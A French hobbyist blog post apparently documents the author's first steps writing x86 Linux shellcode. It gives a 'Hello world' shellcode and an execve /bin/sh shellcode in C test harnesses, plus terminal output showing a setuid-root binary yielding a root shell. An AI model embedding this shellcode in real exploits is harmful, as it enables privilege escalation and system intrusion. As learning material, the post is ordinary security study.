Hiteck

Shellcoding

Jeudi 17 juin 2010 :
Je me lance dans la programmation de shellcode, je trouve les shellcodes super hard lol brefff au boulot :-D

Voila mon shellcode qui affiche hello world ! :-D

#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x0d\xcd\x80\xe8\xf6\xff\xff\xffHello world!";
int main(void)
{
(*(void(*)()) shellcode)();
}

Et voici un exemple :-D
hiteck@hiteck:~/Bureau/exploits/real$ ./shell
Hello world!
^C
hiteck@hiteck:~/Bureau/exploits/real$

je tiens a dire un grand remerciement a RootBSD qui m'a aider au débeuguage du shellcode, sans lui je ne serais pas arrivé merci a toi RootBSD.
Amusez vous bien, sur ce un vrai shellcode est en construction bye :-D.


Vendredi 18 juin 2010 :
Enfin un vrai shellcode qui ouvre un shell c'est magnifique tout sa :-D

#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{ (*(void(*)()) shellcode)();
}

Encore un petit exemple :D
root@hiteck:/home/hiteck/Bureau/exploits# chown root.root shell1
root@hiteck:/home/hiteck/Bureau/exploits# chmod +s shell1
root@hiteck:/home/hiteck/Bureau/exploits# ls -l shell1
-rwsr-sr-x 1 root root 8317 2010-06-17 23:47 shell1
root@hiteck:/home/hiteck/Bureau/exploits# exit
exit
hiteck@hiteck:~/Bureau/exploits$ ./shell1
# whoami
root
# echo "Local shellcode remote :-D"
Local shellcode remote :-D
# exit
hiteck@hiteck:~/Bureau/exploits$